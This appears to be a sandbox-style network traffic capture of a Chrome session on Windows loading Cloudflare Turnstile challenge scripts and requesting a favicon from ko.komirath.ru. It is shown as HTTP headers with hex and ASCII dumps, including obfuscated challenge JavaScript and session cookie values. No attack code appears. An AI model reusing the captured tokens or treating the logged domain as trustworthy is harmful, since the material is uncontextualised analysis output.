2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.17	49727	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:29 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fed80f51d3e0f6d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:29 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:29 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 109022 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fed80f91ce44407-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:29 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.privacy_link":"http
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 63 68 65 63 6b 5f 64 65 6c 61 79 73 22 3a 22 56 65 72 69 66 69 63 61 74 69 6f 6e 25 32 30 69 73 25 32 30 74 61 6b 69 6e 67 25 32 30 6c 6f 6e 67 Data Ascii: tle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_feedback_description":"Send%20Feedback","turnstile_feedback_report":"Having%20trouble%3F","turnstile_footer_terms":"Terms","check_delays":"Verification%20is%20taking%20long
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 66 5a 2c 67 30 2c 67 71 2c 67 72 2c 67 73 2c 67 77 2c 67 78 2c 67 45 2c 66 58 2c 66 59 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 31 38 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 39 30 36 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 33 30 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 33 32 37 29 29 2f 34 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 38 33 29 29 2f 35 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 37 29 29 2f 36 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 32 35 34 29 29 2f 37 29 2b 70 61 72 73 65 49 6e 74 28 67 49 28 34 39 34 29 Data Ascii: fZ,g0,gq,gr,gs,gw,gx,gE,fX,fY){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(518))/1+parseInt(gI(906))/2+parseInt(gI(730))/3(-parseInt(gI(327))/4)+parseInt(gI(483))/5+-parseInt(gI(1357))/6(parseInt(gI(254))/7)+parseInt(gI(494)
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 74 75 72 6e 20 69 2a 68 7d 2c 27 68 4b 47 57 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2b 69 7d 7d 2c 65 3d 53 74 72 69 6e 67 5b 67 4b 28 31 31 34 30 29 5d 2c 66 3d 7b 27 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 29 7b 72 65 74 75 72 6e 20 6e 75 6c 6c 3d 3d 68 3f 27 27 3a 66 2e 67 28 68 2c 36 2c 66 75 6e 63 74 69 6f 6e 28 69 2c 67 4c 29 7b 72 65 74 75 72 6e 20 67 4c 3d 62 2c 64 5b 67 4c 28 38 36 37 29 5d 5b 67 4c 28 31 31 33 30 29 5d 28 69 29 7d 29 7d 2c 27 67 27 3a 66 75 6e 63 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 4d 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4c 2c 4d 29 7b 69 66 28 67 4d 3d 67 4b 2c 69 3d 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 78 3d 7b 7d 2c 42 3d 7b 7d 2c 43 Data Ascii: turn i*h},'hKGWi':function(h,i){return h+i}},e=String[gK(1140)],f={'h':function(h){return null==h?'':f.g(h,6,function(i,gL){return gL=b,d[gL(867)][gL(1130)](i)})},'g':function(i,j,o,gM,s,x,B,C,D,E,F,G,H,I,J,K,L,M){if(gM=gK,i==null)return'';for(x={},B={},C
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 67 4d 28 35 36 36 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 4d 28 31 30 31 32 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 67 4d 28 36 39 34 29 5d 28 64 5b 67 4d 28 31 31 38 38 29 5d 28 48 2c 31 29 2c 64 5b 67 4d 28 39 31 32 29 5d 28 4d 2c 31 29 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 4d 28 33 38 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 73 3c 46 3b 48 3d 48 3c 3c 31 7c 4d 2c 49 3d 3d 64 5b 67 4d 28 32 35 39 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 33 38 39 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4d 28 35 36 36 29 5d 28 30 29 2c 73 3d 30 3b 31 36 3e 73 3b 48 3d 64 5b 67 4d 28 Data Ascii: gM(566)](0),s=0;d[gM(1012)](8,s);H=d[gM(694)](d[gM(1188)](H,1),d[gM(912)](M,1)),j-1==I?(I=0,G[gM(389)](o(H)),H=0):I++,M>>=1,s++);}else{for(M=1,s=0;s<F;H=H<<1\|M,I==d[gM(259)](j,1)?(I=0,G[gM(389)](o(H)),H=0):I++,M=0,s++);for(M=C[gM(566)](0),s=0;16>s;H=d[gM(
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 74 69 6f 6e 28 69 2c 6a 2c 6f 2c 67 50 2c 73 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 2c 47 2c 48 2c 49 2c 4a 2c 4b 2c 4f 2c 4c 2c 4d 2c 4e 29 7b 66 6f 72 28 67 50 3d 67 4b 2c 73 3d 5b 5d 2c 78 3d 34 2c 42 3d 34 2c 43 3d 33 2c 44 3d 5b 5d 2c 47 3d 6f 28 30 29 2c 48 3d 6a 2c 49 3d 31 2c 45 3d 30 3b 64 5b 67 50 28 34 33 33 29 5d 28 33 2c 45 29 3b 73 5b 45 5d 3d 45 2c 45 2b 3d 31 29 3b 66 6f 72 28 4a 3d 30 2c 4b 3d 4d 61 74 68 5b 67 50 28 39 38 32 29 5d 28 32 2c 32 29 2c 46 3d 31 3b 64 5b 67 50 28 31 34 31 39 29 5d 28 46 2c 4b 29 3b 29 66 6f 72 28 4c 3d 67 50 28 36 37 30 29 5b 67 50 28 39 39 30 29 5d 28 27 7c 27 29 2c 4d 3d 30 3b 21 21 5b 5d 3b 29 7b 73 77 69 74 63 68 28 4c 5b 4d 2b 2b 5d 29 7b 63 61 73 65 27 30 27 3a 48 3d 3d 30 26 26 28 48 3d 6a 2c 47 3d 64 5b Data Ascii: tion(i,j,o,gP,s,x,B,C,D,E,F,G,H,I,J,K,O,L,M,N){for(gP=gK,s=[],x=4,B=4,C=3,D=[],G=o(0),H=j,I=1,E=0;d[gP(433)](3,E);s[E]=E,E+=1);for(J=0,K=Math[gP(982)](2,2),F=1;d[gP(1419)](F,K);)for(L=gP(670)[gP(990)]('\|'),M=0;!![];){switch(L[M++]){case'0':H==0&&(H=j,G=d[
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 4f 5b 67 50 28 31 31 33 30 29 5d 28 30 29 29 2c 78 2d 2d 2c 45 3d 4f 2c 30 3d 3d 78 26 26 28 78 3d 4d 61 74 68 5b 67 50 28 39 38 32 29 5d 28 32 2c 43 29 2c 43 2b 2b 29 7d 7d 7d 2c 67 3d 7b 7d 2c 67 5b 67 4b 28 31 32 30 36 29 5d 3d 66 2e 68 2c 67 7d 28 29 2c 65 4d 5b 67 4a 28 31 30 37 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 51 2c 63 2c 64 29 7b 67 51 3d 67 4a 2c 63 3d 31 2c 64 3d 31 65 33 2a 65 4d 5b 67 51 28 34 30 38 29 5d 5b 67 51 28 34 37 30 29 5d 28 32 3c 3c 63 2c 33 32 29 2c 65 4d 5b 67 51 28 31 30 37 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 52 29 7b 67 52 3d 67 51 2c 65 4d 5b 67 52 28 37 39 33 29 5d 26 26 28 65 4d 5b 67 52 28 32 36 38 29 5d 5b 67 52 28 31 34 38 32 29 5d 28 29 2c 65 4d 5b 67 52 28 32 36 38 29 5d 5b 67 52 28 36 37 37 29 5d 28 29 2c Data Ascii: O[gP(1130)](0)),x--,E=O,0==x&&(x=Math[gP(982)](2,C),C++)}}},g={},g[gK(1206)]=f.h,g}(),eM[gJ(1071)]=function(gQ,c,d){gQ=gJ,c=1,d=1e3*eM[gQ(408)][gQ(470)](2<<c,32),eM[gQ(1072)](function(gR){gR=gQ,eM[gR(793)]&&(eM[gR(268)][gR(1482)](),eM[gR(268)][gR(677)](),
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 53 28 32 38 37 29 5d 3d 65 4d 5b 67 53 28 39 32 30 29 5d 5b 67 53 28 32 38 37 29 5d 2c 6e 5b 67 53 28 31 33 33 39 29 5d 3d 65 4d 5b 67 53 28 39 32 30 29 5d 5b 67 53 28 31 34 35 33 29 5d 2c 6f 3d 6e 2c 73 3d 6e 65 77 20 65 4d 5b 28 67 53 28 39 36 33 29 29 5d 28 29 2c 21 73 29 72 65 74 75 72 6e 3b 78 3d 67 53 28 36 39 32 29 2c 73 5b 67 53 28 31 34 32 39 29 5d 28 78 2c 6d 2c 21 21 5b 5d 29 2c 73 5b 67 53 28 31 30 30 34 29 5d 3d 35 65 33 2c 73 5b 67 53 28 31 32 39 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 5b 67 53 28 36 33 39 29 5d 28 67 53 28 34 34 36 29 2c 69 5b 67 53 28 32 37 37 29 5d 29 2c 42 3d 7b 7d 2c 42 5b 67 53 28 36 35 33 29 5d 3d 66 2c 42 5b 67 53 28 34 30 34 29 5d 3d 6a 2c 42 2e 63 63 3d 67 2c 42 5b 67 53 28 32 37 31 29 5d 3d 6b 2c 42 Data Ascii: S(287)]=eM[gS(920)][gS(287)],n[gS(1339)]=eM[gS(920)][gS(1453)],o=n,s=new eM[(gS(963))](),!s)return;x=gS(692),s[gS(1429)](x,m,!![]),s[gS(1004)]=5e3,s[gS(1291)]=function(){},s[gS(639)](gS(446),i[gS(277)]),B={},B[gS(653)]=f,B[gS(404)]=j,B.cc=g,B[gS(271)]=k,B
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 67 55 28 31 34 35 31 29 5d 3d 68 2c 6d 5b 67 55 28 31 30 30 33 29 5d 3d 69 2c 6d 5b 67 55 28 31 30 34 36 29 5d 3d 64 2c 6d 7d 2c 65 4d 5b 67 4a 28 34 35 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 66 2c 67 2c 68 2c 69 2c 67 59 2c 6a 2c 6b 2c 6c 2c 6d 2c 6e 2c 6f 29 7b 28 67 59 3d 67 4a 2c 6a 3d 7b 7d 2c 6a 5b 67 59 28 31 31 30 34 29 5d 3d 67 59 28 31 32 30 31 29 2c 6a 5b 67 59 28 31 33 31 38 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 73 2c 76 29 7b 72 65 74 75 72 6e 20 73 3e 76 7d 2c 6b 3d 6a 2c 6c 3d 65 5b 67 59 28 39 34 38 29 5d 28 29 2c 6d 3d 6b 5b 67 59 28 31 31 30 34 29 5d 2c 6b 5b 67 59 28 31 33 31 38 29 5d 28 6c 5b 67 59 28 31 30 36 36 29 5d 28 6d 29 2c 2d 31 29 29 3f 65 4d 5b 67 59 28 31 30 37 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 5a 29 7b 67 5a 3d Data Ascii: gU(1451)]=h,m[gU(1003)]=i,m[gU(1046)]=d,m},eM[gJ(454)]=function(e,f,g,h,i,gY,j,k,l,m,n,o){(gY=gJ,j={},j[gY(1104)]=gY(1201),j[gY(1318)]=function(s,v){return s>v},k=j,l=e[gY(948)](),m=k[gY(1104)],k[gY(1318)](l[gY(1066)](m),-1))?eM[gY(1072)](function(gZ){gZ=
2025-01-08 16:18:29 UTC	1369	IN	Data Raw: 5b 67 4a 28 31 34 35 32 29 5d 3d 65 56 2c 66 54 5b 67 4a 28 37 33 39 29 5d 3d 66 48 2c 66 54 5b 67 4a 28 39 30 38 29 5d 3d 66 4d 2c 66 54 5b 67 4a 28 35 31 39 29 5d 3d 66 4e 2c 66 54 5b 67 4a 28 36 37 37 29 5d 3d 66 49 2c 66 54 5b 67 4a 28 31 30 35 34 29 5d 3d 66 4f 2c 66 54 5b 67 4a 28 35 30 38 29 5d 3d 66 4c 2c 66 54 5b 67 4a 28 39 31 38 29 5d 3d 66 4b 2c 66 54 5b 67 4a 28 32 34 30 29 5d 3d 66 39 2c 66 54 5b 67 4a 28 31 33 32 35 29 5d 3d 66 47 2c 66 54 5b 67 4a 28 35 34 33 29 5d 3d 66 46 2c 66 54 5b 67 4a 28 31 32 30 33 29 5d 3d 66 30 2c 66 54 5b 67 4a 28 33 32 35 29 5d 3d 66 31 2c 66 54 5b 67 4a 28 33 33 35 29 5d 3d 66 6e 2c 66 54 5b 67 4a 28 31 33 36 31 29 5d 3d 66 70 2c 66 54 5b 67 4a 28 35 38 38 29 5d 3d 66 6f 2c 66 54 5b 67 4a 28 38 32 38 29 5d 3d Data Ascii: [gJ(1452)]=eV,fT[gJ(739)]=fH,fT[gJ(908)]=fM,fT[gJ(519)]=fN,fT[gJ(677)]=fI,fT[gJ(1054)]=fO,fT[gJ(508)]=fL,fT[gJ(918)]=fK,fT[gJ(240)]=f9,fT[gJ(1325)]=fG,fT[gJ(543)]=fF,fT[gJ(1203)]=f0,fT[gJ(325)]=f1,fT[gJ(335)]=fn,fT[gJ(1361)]=fp,fT[gJ(588)]=fo,fT[gJ(828)]=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.17	49728	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:29 UTC	739	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/58x4p/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:30 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:30 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8fed80f97b4542c9-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.17	49717	188.114.97.3	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:30 UTC	1316	OUT	GET /favicon.ico HTTP/1.1 Host: ko.komirath.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ko.komirath.ru/1jVVShGI/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6ImZyWlJNSGZmczc3UnRXQ3p6YmVySWc9PSIsInZhbHVlIjoiWWg0WmxPVis5VWZlbnU3YmIwc0dSY2NtL1hGVFZQMGwrUXREdnNxUFN2dHBsUzFyWXRvZUlGeTVseC9zV2VHQkoySW1INmdCNzZqcmRXZU91bmQ1ejRNSk1aQ0JzQlNBUnZPRUJVdGNHdmdKcUwxNmRIY3hiVjhQU1VlRngyUWoiLCJtYWMiOiI4OGYyN2UwNzM0MWU5N2FkMTM0OTMxMzIyMmU3ZTg2MDhmOWJiNzYxMmVhYThlNDZkZDQ4MWUyZGY4YTRlZjlkIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlNlSnlPeG1UUFFQdU5udzArbzNWb2c9PSIsInZhbHVlIjoidEthdGhBdWVZN0R5VXN6OG1LbVVaV2VqTW1PdHhFM1B0dG45dmEranJYMFoxaU8rcGU0azhVYUEwNUFOVGQ2L3ZoV3BPbkU2S21yV1dZM2lFRjFsUkRhUGQrZjI0VVk5YWUxVmJwVlZhSWNFbHNJTnpLcTlNaG1kcmIvMGVBY3UiLCJtYWMiOiI5NDliYzc3ZDczNzFiMTFiYTA0OTEzMGFhNWQwM2U4MDRkNDliYzg2YzVjNWYxOTM4MzkzY2Q0MzA0ODExYjNlIiwidGFnIjoiIn0%3D
2025-01-08 16:18:30 UTC	1079	IN	HTTP/1.1 404 Not Found Date: Wed, 08 Jan 2025 16:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LAqZAjRx%2Ft00S%2BhvUqK47ennzMZV3UiPaUC2C%2B4zrFk0QllE6XUhUM0d1qkKcJkLBR0urO%2BuUGFO9PGerk%2FI59FM2Ljsske%2FnzaJ9jWQscSmue%2FfyKGq6Py1eRDS%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4916&min_rtt=4911&rtt_var=1852&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=2099&delivery_rate=575121&cwnd=244&unsent_bytes=0&cid=0b80fa793cee22e6&ts=171&x=0" CF-Cache-Status: HIT Age: 13207 Server: cloudflare CF-RAY: 8fed80fb0e0e4244-EWR server-timing: cfL4;desc="?proto=TCP&rtt=2276&min_rtt=2270&rtt_var=855&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1894&delivery_rate=1286343&cwnd=221&unsent_bytes=0&cid=dd75a7d912c8a40b&ts=3576&x=0"
2025-01-08 16:18:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.17	49729	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:30 UTC	385	OUT	GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:30 UTC	240	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:30 GMT Content-Type: image/png Content-Length: 61 Connection: close cache-control: max-age=2629800, public Server: cloudflare CF-RAY: 8fed80fd4e598c3b-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:30 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 02 00 00 00 02 08 02 00 00 00 fd d4 9a 73 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsIDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.17	49730	104.18.95.41	443	7068	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 16:18:30 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8fed80f51d3e0f6d&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-08 16:18:30 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:18:30 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 126321 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8fed80fe2c730cc6-EWR alt-svc: h3=":443"; ma=86400
2025-01-08 16:18:30 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 71 71 51 4c 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.qqQL2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https
